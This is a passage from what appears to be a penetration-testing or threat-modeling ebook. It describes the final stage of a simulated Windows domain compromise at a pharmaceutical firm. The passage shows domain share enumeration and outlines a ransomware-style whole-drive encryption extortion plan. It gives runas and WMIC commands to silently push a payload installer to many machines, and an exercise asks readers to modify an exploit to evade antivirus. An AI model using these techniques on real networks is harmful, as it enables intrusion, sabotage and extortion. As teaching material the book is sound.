UserName     : fransumm
ComputerName : pharma1845.pharma.com
IP           : 190.168.34.12
SessionFrom  : 190.168.34.12

Pay dirt! Now we repeat our previous dir command:

dir \hostnamec$*.xl* /s/b

C:UsersfransummAppDataLocalTempTemp1_invbas3p0.zipInvisibleBasic.xla
C:UsersfransummDesktopOnboardingAsset & subnet information v0.2.xlsx
C:UsersfransummDesktopOnboardingRFCDocv2.xlsx
C:UsersfransummDocumentsEmployee_complete_2016-04-12.xlsx

Now that we have control over the entire Windows data network, we need to decide on a suitably devastating attack that could be executed following our extraction of the target information. The easiest and most reliable way is to mass deploy a whole-drive encryption system via the domain admin credentials with a suitably long passphrase the company could never hope to guess.

Once that software is pushed out and installed, we can bounce every Windows workstation and server on the network. When they start up again, they'll require the passphrase to continue the boot sequence and (in the absence of that) are completely unrecoverable. This is a vicious attack that could also potentially render the company open to extortion. A million dollars in Bitcoin for the passphrase, for example. However, this is a modeling exercise so we're not going to do any of that. It is sufficient to demonstrate vulnerability by pushing out a custom binary to the target domain. For example, to target the UK specifically, we would do the following.

First get a command shell with domain admin credentials:

Runas /user:domainuk@UK cmd

The run the WMIC installer, which will allow us to invisibly deploy software remotely without any further user interaction:

c:> wmic

At this point, we just need to specify a list of target computers and a path to our payload:

> /node::@"c:computers.txt" product call install true,"" , "c:PathToYourFile.msi

We're done!

Summary

We just went from a humble desktop user to having complete domain access in less than an hour. Feeling secure? I hope not. This is by no means a contrived, unique, or difficult-to-replicate scenario and all the tools I've demonstrated here are in the public domain and freely available. The big takeaway here is that Windows is not a forgiving environment if you're lazy with security. Even if you're not, you can get into hot water quickly if your users can escalate their privileges locally. In an APT scenario, that is often just a matter of time.

Exercises

  1. Download an existing client-side exploit. Modify it so that it bypasses your favorite antivirus solution. Make sure it still works.
  2. Download the Metasploitable v2 virtual appliance. Practice Metasploit against it and become familiar with its strengths and weaknesses.
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.223.195.29